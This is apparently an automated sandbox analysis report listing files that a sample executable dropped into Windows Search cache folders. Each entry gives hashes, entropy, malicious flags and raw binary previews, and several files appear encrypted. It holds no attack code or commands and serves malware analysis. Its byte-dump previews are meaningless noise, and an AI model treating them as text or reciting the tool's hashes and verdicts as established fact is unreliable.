SHA-512:	90B3B6ED04645EF19043ACDF2C1380E7A3A9947CF7838BA1338D0C8F1D44361715363F53D717573A1AFDAD55D1EFACE9D0A04DC334B1A64DB1DC7C5515000F4A
Malicious:	true
Preview:	\|pri..%$&... .3.D...4......E.....:Q.V\|X8.1c...M .T...x.O....x^.....z`..b..f...P.DxQ`.s..,.V@.....U4n!jf..DY.....:K\...+.Y....q...Z\rk.X.N.......h.....q..7.R..)...}P...x.~>..j...B.......Kp.M.Y..(w@....jeM..H3..<{...J..N...NJ.L.m..I..y...>.M.v..._...._..8.Z....F.U!..:............H..g.I_..0#...W.g..m.Q.$...m..cq.l/)......qN......7. Q..!.A.B}...a.)l....Uw...v....K...8C.f.8....-?..$.]4.......D..?V.bA...T./I!.N....*?..6.......+... .G/../v...%.,Gv[.........nq......C..@ ..s ...>.'...U.....M........t..a.}......R....-.3.([^mWN..W.;...j.J.,.vyM7v.aK[l.....!.5.m.Nmh;...h(.S....h..B[.\|. .......r..Qmr...%...<.\|.l....w...\...{........ ...$.....:8}3J.7A..&..r.....sE....Y.3l...f..I.p:.Q.D......P'..g.d.....=....,7..+B.+.....@b..\|.q..<....'....Ckk.J...MB1q....OS...b...{(%qi/..,...".........-..RG`&@.).......-..^^.&.--2.;....KX..y ..?>.1..3...j..n..~F.a..V...h{.{N...Fc..35..,w..+!1...6D.........y?.3....FE.Nq..4..Q.!h.Y..pG..;......o.fzi....Sb.[._.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.5853427045623345
Encrypted:	false
SSDEEP:	3072:q3Ior3MkX2xLMdYk1i1uby1pohfrXDaIuLZQidiMhPiCBjCBsIcq0VRfHHEG011I:q3IItX2nkxIOhfbOgYjCxc81CdJ
MD5:	120F286D31D751180D6E47CE0FE3B65F
SHA1:	E87D228033AB83D3BBCA57342BE28A6DF05BD60D
SHA-256:	51D952556D7F2565239E056A4621CD6AB97B80BB6F53C6E548C75260DE45326E
SHA-512:	C16147DF31949C83ECDD35ED86B3742C4CD8C7A8D9516D874F724A0A7932F240F24812E1F7527DA189EF37E9099FF6FFCBB6CFAF3F522C77A600171BEE7909A2
Malicious:	true
Preview:	0.0....lj..nO._.r.R.8....T q.^m...!).y...".}.... ..&x...."..y<P.. ..b._...w...07.5....<.Z._UO.G.f....N.:2......W;..b[(.....i@X.k.8{...>..r.m..$..b.......X.:j....WR...?...B(............q.........c...$".....&....u0.9.$K.<bx...T.h.\|.y..{.g....`...8.@..B......t.Uc.3.......Qq..Z.....MH...3}.0..T....P5...yH...]..g.....n..j~..ktY.oJ.....0}-...M.0...P..h......U.....a.\..a...S..h..%R.49gVm...R.th.B..".u.5\.w.............`...d........5......?4.Mh.=..S10.Ye.x.B'..u....".J...W..M....X...$.J.a......vp..2..u ...3...X..\...M>...n...}+tB....p..w._!..~U.5..l..s...`..@.Q.G4.<....0..T:..4..L?>#.J...aA......R....O$..N.T...'..nT...5.......C....2T.....(<.M...PQ...9\.b.y.:./.M....aGL.u7*(..cO...+.....Z..T\|.bw....hs....Q..d..GlG...d;.......A...)...[...P...k8)3>....5.?Su ...D....Q;....?.K^WS..W%~.v7$C..P5.=.q>..}....J...0..jj..u...@FO7.'.5....s....f...R...@.T.D.O_]....cPH...\|.>2..<.p9^qT..?.....6....'W.&J....)Q.`.9....Q.r..:..S\|7.X.u.Q..P&....9n.. ^...4...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.35285618244109
Encrypted:	false
SSDEEP:	6144:Ire5xSVNVd3MGLXlc9WZiuIJW2LSSjEIbBrOCNtf:IK507d9Xl4WZhIA2VEIbBrOa
MD5:	24324C265AE0C8F02C33F7C67FADAF4F
SHA1:	0F045DCFF19B00A81A84619528A3E311AD2BAACA
SHA-256:	D033A53DF2F192209319FA9861AB986AB0D3C41AE26B90688AA1BFBD683236A6
SHA-512:	E9E7C52D6D1E3A3CD305B5FE22966A3A957C06CC3A28DECF32FE065CD84F0A422759FF607D9FFD02029230F09ED0F6904153607EBBD8EEBDDFFB43CE0D9296C3
Malicious:	false
Preview:	.....e.......>T.1.........;8ofi.....1../..1m..J..WUL])....r......Z....m.AN.......R...&.R...=T..s.F0...\+.........s...;...Q..E.c".....p...X}...F...=.E..x..T......i.R1.......,.{........t..O=Oq.^C.:Nv.e,..v.My.V%.#.S..Q.......g...tfR?..$......<g.IR.+%.qC5.^. .Y...W.0..W8z.8b..s`....5..o..2...:5.[....e..r%...D8.=.#>..7.D..X.](.........<D\|..r.st..)....u.....0..............E.~H&.b.0.c.Z.F.........s.ng...J..6;S.`...,...k..z.N...e..H.~..Ozq..].r.~O.Zn.b...B.,..Y.qX.$...<E...}A..5U......R..8...q.!..."\W....y.Z.....L_......y8...<.....N...~.......4.>A58 u.[..........MT.#d}.A....4.....i.E.../:.m.....V...0T.y...<.......]U.Yp...D.....s..c4..#8..d.V.......b........&..0.Q.3...?7.\g.]vQ......6=.-.i.....1.{.s.i...&=ur....x(HD. .Nv.A.......2.....?E5H....\.......V.v#N.w........{..a....R=&...P..?.i..YB.........FH...'..CX...V6.L...t...^...:.g.b.Z.)-..w.....t.".....&:.$>....N...8.....2...qv=.7.G..J..u.....H.."zhu2.....J...m..1...>@..X.F....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658469596438519
Encrypted:	false
SSDEEP:	24576:2WOVZBMlVgFjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSu8:nOCECF8hR3z1rM3lVKSu8
MD5:	AFAC362B9E3B6EB3236405811514BB7D
SHA1:	251098F75F39C5724A9190DA4A8D01AB0B0BD1E1
SHA-256:	ECCF74B81DFFAAA810D125CA79B3509472F1C38322E3A03488E007B8E5D068DD
SHA-512:	99FEDDF7DE70938E6B0F7295974ED076833055B253C5503B0FF8B0AF8E2F05039D5F397713BA804B6A090EB827DFE76A135C54BD3DCB32BC854C49FA9D5F60FC
Malicious:	false
Preview:	Ej..D.V(Lq!..aT9K..'...r.\|UT]..;j...2.,...U.u.d\+/....2x. P.wJn=..bq/^qJ......Ci.>....rD.......9....../..w..S..,.g.d1..n.''...M.n..;g...c.h..E..K..4r..}..d7.4...K%EX.E:...C.....<..!.U..6...5..y...kuI.....^..Yv..!.`.E......T....lN.>._....=-.e.;7...:nwO.....x..f_.N..K..#.\.M....\|......hA...............g....t.k`:1..LE._H........C .L...b.y.....^.....C.m{U.>.R>3.......iG\..N9..FK.."v......w.6.....e.Xp..:qG...`.A...}.S.....XY......>.b..M..e#...Jz,8....x....E}.W...:.y..#@..~...s.f....:]...........{g._..62//".t.....,RPM....K.~....s....P...<....$.....s..3..7.v..d.l..5.Ce_.+nX.GvC.....L.C.....\...q0WH..}..C..O.1G....~]........j...W.3.s.q....../.^....N\.Yw....YW.....,..p.i>...y2>.....i...>8Y....r...{+..0..b<.}pW.-...K..Y.{b..v?#.'.{S.!..w...Q~.wu~F..p3.G.h#>u'..qY-..H..U.Y .\|}.H..UFN\m.'.-I.0j.G;w...O.Z......M.9....g.........)][..N......6.\|...q..XM....>..k........e....9.}..:P.m .i0y-..b......).cHm.2.0.....4.8.C......5.WLV...su...x.r..n..&w...nA.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.585726991431058
Encrypted:	false
SSDEEP:	6144:wBMHz4URjZE89/Gm4IhwU32e4CjCxc81Cdo:SMTX/9/Gm43ey
MD5:	B3D182036506143977C1C931BEC7EED1
SHA1:	3A87F328A608B0A6457E2718C9FB910F0D16A305
SHA-256:	3AAA316E6F07DB9C32C4C625B3517CD1B0A03601C476154A230937F68FF82A04
SHA-512:	2B2D36A9717FEDC7EA91F1D21B0746B4CE1371927FE7B7C55D5DCF65B3CBDDF053E730CB4EFEFD713E52D177F1F01132B5BCE2BBC12B503CBD0EC7B1536AA50D
Malicious:	true
Preview:	0.0..'...?.7.....b...i..A..o.3...;...S9. .M....t....m..#......2......^Y.P.....i...R..M..HP..A..Z...K.I......X6S....Q..........s7.....#w..J0.o.Y..^.R.u&]u.7T.!..&8.1.....]J=e.>..V...zK.q,.....p...p..Dti5....{0.L..!.ht..>.._qD..8.+.7.W...4D[S,..K=<k7.........yrim...ht..X!.J.....h<#%..g.08.`..x..#i..Z..\|}.g-..N..)Rr9.+{....m.I......Y.H.J....-....n>S.w...(...b..]\..F"..2o....v..Y.g..y.Fo..vDQ.A...Xs...Y....au..sv.....E..m.?x.R..7..!..N.`_...C...bV.'...&.-.......t}..D+.....:.....<....D...T..wH...O..?s..S.}..h.ge.r.c..e......... w<}/:.M....R.a\|B....c.W.......,......$Zv.%\..n.6z:....YA\@....OI..2B..4..5.....Zn.X.....z.R.:..8H.s.e../4.j#...!.x......g.Sz.).H....?....!0.<.@c.z..."......H....A{l...4.q-.U..6.+"..S..QT.y.+.. ....Y.,..K...K.)...\T...Sw.6..u....j.D...;^BA...!...N...n....q.&..6.sh,..h7%.@@..c.+..R1.....B.G.+Mz...e.B."Q...'..@#.......)..}L.;.......@c$...u....g*..`.=4.e.M..?......A....h.h...Z.Y.\|..........?...gI....:......CM..]'<

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352403857912851
Encrypted:	false
SSDEEP:	3072:JqfE3ilQyY9baf09OlKKizzBRK/nyX9xvSBzDOeSp3ce91LocbcC9ECNEFME3byZ:kfE3iGyv7szzBune7v+1iZ1DwCNTx
MD5:	642CE77160429776E8AFCF547935CA18
SHA1:	39E088B45771B4ACCFE9EA2164EAED07D403812F
SHA-256:	C3D5E573D182F56FE0BB4D5AE9C7A02516766726F9C0A4C82F432DC6C3CD0AAA
SHA-512:	6224850DC7F39E6FE4CD7F9428F575761941D313088BCB250365E731AC29EF4F732A5EC728A362E44842232E5F4B77F69829DD2A37FCF6EDFCBBAF87C3B5EE73
Malicious:	false
Preview:	....... Tvy....;(.S+#,@;...)..J........'.c....P. . N.-...@..@Mh.O.Rn=U.a4.Y....C..pt.s.......X:.[.......-:z.[.-..<.h....}....Db.MW.$.i.Nfv...z..I./..S...........RbO.Z.\..Hd\|@Ti.[....... .......qx...RD......_.g1.Z:K.s.Y./..n..=....UN...m.8.F......Nu3Hk....A...-I...l.#...C1k.~.6.I..Jdsi..{.}.O...c..X.[.B..............K...<.d.....T.Xv.L......E..qd..K..s....L6.`.f...Tl;.K..s......QI7.f..........y.....Z.Z.....m....;.\...~.....zP.S!MW.Pp...'.E..@V...d.M...I...k..kARQ.-R....8.V...\.O.._.W..wI......~......8....V`;.g..cV^r!o..s......}r.<.UK...X....Y...~.^9r.....(..{.`.m.S.Nj..Y..&)u.....0.<}_...8.~..a`t.........[.W.....I@90-...A....?.>.7.D...s..eM.....0......W[.$....I3./.C..........j..9.E...ij..T..'L.[.....:y1..H.5m..C.7_.8..j&.&...=...IysF.o.........j..?..R.....mo:J0.x.Ksi.../+.(/...*.C......Z.Yr....R".)y.....P...6{...6.. 8....Na.n.-....ih..uO..+.....#..h...Wm.wD..}....@hmQvn.m.......\..I&...[W...e0.6zN...SB...>.z.[W....H0.b.E{mj..K.@.M.8.&y..F.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.65837574335379
Encrypted:	false
SSDEEP:	24576:m+O286Jjjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuI:Yvu9CF8hR3z1rM3lVKSuI
MD5:	5C59D7BCBA88C9C28C6A52019F8BDBC1
SHA1:	FEC74D17E20A79FDAA677AAE58BDAF98F1CF9B1F
SHA-256:	518B1D190CFE33FA636BFDF348AF4DFB4838375273F77F1F695ADD2AAEEC9867
SHA-512:	5A862DE336D518CEC6B961831268738653D98A4E1E6D1F05EE48A52E135F4DF6B70E1353BB04DFFFF51658B55570EEA2F5F9BC38815F05F584BB6FFA08D36BE9
Malicious:	false
Preview:	Ej..D....T{..v..f.O...f....g...>T...5.......$.;...<.@.[d...._.ef.~....f.r.G.xC.........~.(....8.hF8o........I.=..].~A.a...Sz.`;:.iZ...s...6....=:N..........4NC...~~........'....(.=.S..{....V.....JhT.n.m..;....'.N.+.N.....N[...%......P..\|.........{&3..Yf.%=NC0.U1...O..1...3>F..%.....N.m../.:.;.o.G.u..\>d.i..98..KwJ.....!ycy..%...$.<.M.....n.v.T_.\|.9./f....U..d..( .=9.,...GB.W.;...$.N.....9/LQ%j.}x...w\|.g.s.(I.\|~..Rw.sVe:X>.C.R..6m.G.;&}.'bg...!.z?Hv@..QQ........X........e...n`.[.....aW^...u.....3 .=..7.....{....rEk....P..Ajy..D......y..p..)..5........h...R{.V..Z.^~...3.[{.s.............q.t..........jH....ur.'j{..m.L..h ...."W...9g&8{.L.NR._P.~L.J..e....w...D3.L..{.c#a..........Y..U.....A.......o........x(...D..g.1[=.l....#/+H.Z.....q\.r'.n......W].{...fx....E.cb#w.....oz.....j..a.:a..36-.^...o...Z.@:.).....au:.3'.+{'.._..qx.._._0..KBT....z.....C....W.....(.T..j.sD..2c.t..$... ...c.Nv.....4...hf..'..B.....K.......t....*.g%...dd.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998161842939386
Encrypted:	true
SSDEEP:	1536:5yOTVbHhqxik9YbvnB1r17mG28nws0isq8raZaM9BTu1gcMDfP:vThEGrnbr4M6BaH9BS1YH
MD5:	89593255E503A228082B8DA467F28266
SHA1:	E7C6B2F874C1C813BECF04418FDFF6E9B01D3F66
SHA-256:	39A6C61B48E6F377F14AE05EA51FEC9D2CD780F514C8C240ED3F2955772C93B9
SHA-512:	B8895F47A9D9B73DD78578D25C50C7DF24406EDADC3A2BF0FC12DEF9131F239789712AE21F5860FB4E7F523AEC4E00C669E0B765F5307ECEBBCA604489ABCD5A
Malicious:	true
Preview:	[{"Sy..=.=l9.s%....+i...X....L."....;.d.W...%mh....[...Tr....za....-.^.M.b9vr.../.......g!4.l.z.....{.A..P..?.....#7.9.......xJed.......4u.w.xl.....F..E..-9...6.[....F..9.8v..}u.oxE....XT...w.V.P...6`n9....,C.Q....l85..f..B....(i.Lw..OD.q./..3....ve..:.L7...Z}.....k.(...j.....KP..4.gd........V.7sv.U<U.......-..Rj.N....OV.]...s..3.?r$k...:..P.}..............J....'..7d......sc....Y.D... s..l....+.o`.g/....b=>-...e'.0.....\.....X..{-...</...W\....P8.Vx.j.....kN=.X..]....na..a{.y>..y.zv .vt..7....b...W....p..p..B..aM....[`..~4p...........{kbFk.....pW... b.n.{B;A...da.qM<..nP...mkc....6.v."\|...)..V..m...{xM.....9.c.QV..S..G..u .d.+. J..m....^6k.\..I............z.Hb......v}.,J.)..lEm.W...F.@....0...........)......BZw...M..X.....=.[......NO?.....%.U...W&=.......'.kj.....d!ir.i.ZC5....K.....#.....j.xO"6....?[..... D....p8..9k..{.1.=.D.p....E..8F...".V..NS.^...{.W.i....H-..C...Z..w2....>.BH?(.~.BC.....=.o,o..8.V.Nc./K...s-.z`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.99841207271829
Encrypted:	true
SSDEEP:	1536:8Rel5Odsc5y69gXs4gPTgw+9D4T3v6Jom6S68mtkGe34XLqCtrq70415Hx:60OLv4o+9DO3v6Jom678mtW34rtON1tx
MD5:	997FD3B0C859049E4ED017F09048050C
SHA1:	4DD57DE28CB2E4EC3552A8563E4A3B5BBFC6B799
SHA-256:	87269A0E285DE88C5A937DC6117FDDB2A0FC0B6F913B2840D4FE2AEDD0E3AB8B
SHA-512:	41B8E4C144549B0444D3E61850CF81EAD2F0F5D8C94E41FC21E5827F74E3644AB480CF51DF3DE4EB1B042BD71B62D5640D4EDB5E3A88AF90807683A1708775EA
Malicious:	true
Preview:	[{"SyM.......@.#.-..]...c.$y3..&w..e.Y\|..yO..+..^.::.6.RP..^&.K..D.Bi..M..(...\|..>........ze.zfo\.8C....j6-.M..{._wBR.....ur#...Fc>.vg;w..N..!.. .8..$.j.6...X..Z..../0...g...c!U...j./.3\...y..P....H..S.....5_....w;.2......1..n.z.2~.r....}......5.d.[.V%d+..;.....r..<..\..IA1...n.;..Y.}G...D/.......B...U.(..T...v0.....F.UB..9..H.....#......[....K...s.W7{......{`k..L.e~.-...\zI.RA5. k.T.@......0.t..\|:....^c..=.....4 7...d...="z.\|(..Dr..~.. ...j.V....'..I.F.......K....f.........=.p[6E..c(..&....a.V..aNl.oX..-...El..!.-.......vK/m.6}...O..q.3..+.N.M....\-+_......k.}.T{s..!..q.....]<]..pl......z...&.H.G...).13...b...-\<1$}.G.....V^.h.......s.Y\|.4.....o..2...T.<.c....^....z_......3 ....q...,../..0..4.J.>q.............s...H.^....i...b..`[.O7.T.Ko....m.?.....`K..T....uTjr....(..*..F......6@JM5.T....%.\|.".1C..5.....v.8ES3..6z#r..q...F.^....7......>/L.p..vN!(...).4G.....o.~......:2...E..:.'._....5.!..l...e.I....s %(r..6....g.....4B...Q.....{

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998361338671538
Encrypted:	true
SSDEEP:	3072:LgHS+/+Z0NWKBxmwgD+zn50YoYJ4yx/pY3xgf3xRcwLTTAau:LgHB73IwO+3dJfY+cKTq
MD5:	39F81DCD8AA56E23BDDB217061D489F9
SHA1:	07DCE26BE29091E6C5D71A10BD7F1BC79B20FCE1
SHA-256:	2AAD2AFD1EE525AAD68CB7E1692F89BC456F04AD7309AA7159858B2B9C54BF82
SHA-512:	FF82F96094563AB3FAF26C39DD68B7B89BC50F5595B5554D174789E9246AEA52452BDD7FA196AE8C82A472F4E2E9D8BCAD7AA1D799114C61B9C602AB4B0D2DC0
Malicious:	true
Preview:	[{"Sy8.....]&.!...e..Q.5...]..`..}Z{.....,0-....-2.0=~?..P..........Y>.g6.+v...Z....m%.>..Jmj..<>.e..k8.5....'...V.i...`.W..../....'.n..........]@.,X7'.5....j....7N..g+..(..A2.J(....l.gHd...$.2_...=i......c..!.$./%....m.J.VW.2.......j....m...4..j..eK."..4)....e.........s...E...2..C..............-..j.q.p#...y..g.'l....l9HO~...tC..(.=..{.xN].^..`s0....G.c...k......v....<`.lV n;..J...?....A.....]..`.........7...w..\^..'..CcKW.x.g.>..e@....[$.^l..X....}._5O.k.+..+.....'...,..]..S..e.cGfVC2-...j$.........j..........w...!)..A,."..sO.x.A..q...i..N......^mM..}.......FM..N".&.w ..i.e..h.....@.T3.p...}...p..~....`.l.c.dW...w....6....w....+8.o.(...2r...xp.....t..NM.g).9.G.4.j..BN\|.>...h.....t..p........k.w.YQ....&..d...J..$.n................\........b.]:.Yb.s`..;.....w..u.=..@j.Hb..........x6~.E8J;........H......Yb..SL..%H*{$..g...q..,.W....4\|.F..g....l...o.Wt<f..8...k&%..u.h8..[..a..m.?....=...C...?.~..<.x...TU.....<.H...`.];....<...\|.r#...4.S

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998413705978619
Encrypted:	true
SSDEEP:	3072:tOSU1/1/kyltbT5+d6ta7TT6cDC5Y+DQYbu1mln5yAzWFdsbOO0:DjqbT5ubfFO5Y+UYq1on5yAJOl
MD5:	34FB2B48CD4A6E862EE230BA622FD7BC
SHA1:	BE9C8196732A22A155505E1B44D7772F88C5D892
SHA-256:	D36E1CFDB8CB14D9BCC02AFEF6EE84E8DF5FCBCF1A29C486A970CD33F07E8F58
SHA-512:	93DCBF7D47419E7FC84367BEF5C8CB895FBE681BCDEBE3DAA124331FD43FB2E36A1B3BB19A415471B071BA695F6C65BC2B2BBB9DF278A44AA17FE724DC6EF85F
Malicious:	true
Preview:	[{"Sy.#.e.Y:".k.M....C5k...n.f.}-.r..{.\../Y.....X..?........l.Nr...w"bm.hjB.W>./.....r~.A....>..y...:......Q..v.E..-g...$G....M.jZ.Jn.@Y\|.....E....i...OvC.4..L.@..7...<B.....!k.z...iP.9.[..z,].!4XJ..l@....U._..!..A......)..QY"..%...P.Ur...J.."....3w.Anu.)..B.G...@5.N-..`......-..#.{..[..F.R."...&.3'y..j..:E[py.........q....`.W.,U...%......7./)...$LV...i.O...[..B..>.._..(0l.,.......L.....I.L-........xt..+8.?.GTO.b...wGb..8...s.v@...J.{.9+...\|.7Y.w.........s...n3.+.E.J!]U..G.n<.>.oO...o.....H..\|..X..`...2.D"2z~dJ....!...,M6...)Q.3....`..q.e.?...b.t.k.d...@1!.=.z.......#....Q..R?....Y........{(.....h8T....<_..O_..1....b...6.5Q..M..>.X..jPC..fx...h..Je.BG...<.B.P..1.l...?........H.G@.E.)7Dtx...y.".....?.O..;...&o.:m.....8...X(.(.....W..%.v?.g...N.).X9h.Y^.B;=.......Q.-$?...Q.......Q.-4.3..9b_....S.P.#..2..a.9........M.-.)......4.9.<.y.......!./h$.......kJj.df.y.M.sk..YY3.v ...H5.O.j.......,?;...q.].......bW._.[._....{#...8.I.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998419110047939
Encrypted:	true
SSDEEP:	3072:CKztMmk4rGsm1VBk9a6A0hF1g/B0S5GU9bTsSQ4YS6gc9zaSO:CKz2bGsBMa6AuFRSxbQSzY/t9zg
MD5:	6AE949A55484B4E96B38601788078FDF
SHA1:	B6FB817485049E91A1F60A1A6618EC002EC11883
SHA-256:	E9CA9B713D62C35B91A86076F20907A9118585764D078633607ABDF918F59CAD
SHA-512:	1B8D0E73713E52EEE0F89CF11E63B9BB343D4735E6B0F9D4772EA92D244542A5401E9EA6AB0361A5E04FCF0869C13369923B20363629FD0F5619F2A9358E2FD9
Malicious:	true
Preview:	[{"Sy..igB...9..<..M.nrb..'w....M...vaR/AF.K.g.'..?..ZPu\G....A.,...... ....,.D][.T...\|..v..1..r.$....)..M............}F..\..i.=......%%..!............n..g......jLb....J.$..Z.(.26.!.[..BbP..N6A.Y...c.)T-S...u.Q..#..c.......T2m+......A.t......,.G}.\|9......q.w.]...=..4cX.Zy.+...1+$.S...^3.v<...`%.&.8.T..z.:....H.C.wI4V...V....8.:.Y.p)]"Z...y.....Q..wX.:......!...A.&h....V.ma+....5rK....W.....h'..0T.&.....\E.z,5....F.<......lf+._.-N~:...y...6.?...0v.!..o...eP...U........e.@M......x.q3a...!.Z.0.Q'...X..o.r=Lp.w.rk.....n.1.#!.@....9...h.Mgx-...~.em."K.W.m..........0......M.b..o..5j&.!&D....z..y4v.......6...;.....cQ..-...X.d..`....e.hJ.&.V<......:b.wSm3..M.fx..;?../...E :o..9..F..#...#R.8`...X..@.L{.tT].I.... f[..M .....O.......^4b.)..x..".*g,....!..@.).....S...?.;..E.a.,..$-j=/.6.NG.x...@J.......Deo./:.+.\..&..P..%..$........O......\...6t...4..fik;%.M..7..ib.L...T...p...N.;.'`{.....b..../5.a...U.L....v.R..Q....../n...j9.m..w%O..B.q

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.998323430155961
Encrypted:	true
SSDEEP:	3072:t+D3ajS0aCKPsiDjTYFzgVtYLQ6FrSdnswCpR2YbM:QD3wa9DvcIgQcrUnsfVg
MD5:	181D66A71F8A63E0F5456D2A9FFA983D
SHA1:	1210974191A07094E63554D6EC26F464181F4E7B
SHA-256:	DCE6E980D1848162318638DB65F6457B6B5F28077F210461331ABC8E464E7A7E
SHA-512:	C3495AA0F964D92C5D23094DEA9CDEB70DED1251244A72DB66134F67A6BB20363D62050301EA5559B481759987B7F41FAFCB14995354B2D4961A0CFB413FD861
Malicious:	true
Preview:	[{"Sy..3[R.%...+...t."..P....UM....e.t..I..n..}...a_`[.... [....}..<...yn...W..De./.-.,...tiP..]A.....kg7^h8....S._g.f..z.g.L.. .{d[.G...-?...f.\...,g.3..e...<.\|Mw.s.'.A@.A.......2..P!";..<S.Pq8.z...:.M`...+.{-..8..$.=..g..h...4R..<9..1.......GP..0...(........V.....35S..4.S..u.&c.7.0......f.'..K.._...>V.{....iX ...i...'..t..Nr..C..r....=.S...P.....d....c?.0.)#:..Q.......Pl...@......8....M.Xf.+r..I..0...f;.S..J.M......W...O%..?O4.G.!.$.&s.8[.;.jC..!.X...Va.+=o....y:1i.F7.~.6J'...........>...&....].......m.e'1.H.;.x..'9.z.V\.....Wf.q..Y.......`......Dj.l..."..G?oL..... ...c%.....E.... .2.a..B..\..=.\D.O..&........<!K..l.7.....3K.zf".......z.{{k.ws.w2H..Fy /..,....w......RC{. 7..$....).is..a._......I.....a.XB.._$K~.K..'...T...).......c@...+.c.Y.....Uf..7...1.~.p\|...[.!..^os....\|.g\|>.r.l...a.:...G.tU).8HD.Z...WI..=Q.....?.B.c.B..p...~cq...~.....2V.......V.X.!....`.a.$O..Lu...l.=...+.[.T0...#..4.>mh..2bO...G.%..3.#.3H.J..VPbiV.V...#F..;.(mk..N...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.99855212418336
Encrypted:	true
SSDEEP:	3072:67Jc5RXklje0cWSrkaSUNri47hL/zaOGxs:67J0klje0cJoaSU9VlLD
MD5:	86BA450FB97BA73E701C65FDA81047A0
SHA1:	C7439E8A71E785B926AAFD85C7CF23279F52E6AD
SHA-256:	2A41F8083AC5A35D96BAC645496F2E92A5DC0EDD1F06E601238D0C9398ACC27A
SHA-512:	020CEE82200DD5E326E226D6F118675A0743BE37550093AD7D5121A093257BD662F7C6FCF2C6631E648979CB6158F20C3905BE2BDA1FC94F530EA409BD5EC042
Malicious:	true
Preview:	[{"Sy.%a..]}...[..#d5k.........G...V.._...s...q.._c'.p........s.Nue.<..p.w_.....k..z......[.'\|[\\...sI........b.Y..q.....v,O.F^.\......E..'..a:.[w.x$.A......<".2..../Ow.P.\|.`F.OAW5.... ......'."4kf.j..N..m......U ......c..r.v..C..=.2..BF~....l.............Z-...5H.xh.......@..gw(.....+u..-.....:Qf,.$.`.........u.T..8.c ..nx.W..U.Jc....W..g..EU./..r=..g.?...q....R.OGX....v..qwX..`.m.q.1.6.K...fc...N.....s..u...../1..#.I......a..n..X....g...8....,K.......)..+PHO.]uY...3&DDx.L..?...e......8.B.=.d1Y....Lm.[)..g...D..........!..%.7..9A..g.....!U..\|."..C.@dQ.b...C...W#...nQ.C...n.l...Ea`S4..po.....Wb.lJV...8.....l.8.\|S...8..0.%.{..`..'.....`.A....#.At#~kv..^._..0.......T.3.f..r/.r_...K...v..P.O...._.#.s;C].P.m.F....l.....a#I..O..<.......o..jH..-[...C"..q...p.~.g.....AA`.....2...)4.......h.a.....%.}[..\...X.e.&....nW8J.$.uT.W..-:..[.7.W...(.....(. ..?..L...:..,....h./(......'E.9..j...k.K....<*v%...jZe.q7O.......!....~.~<.V.Ea....uM

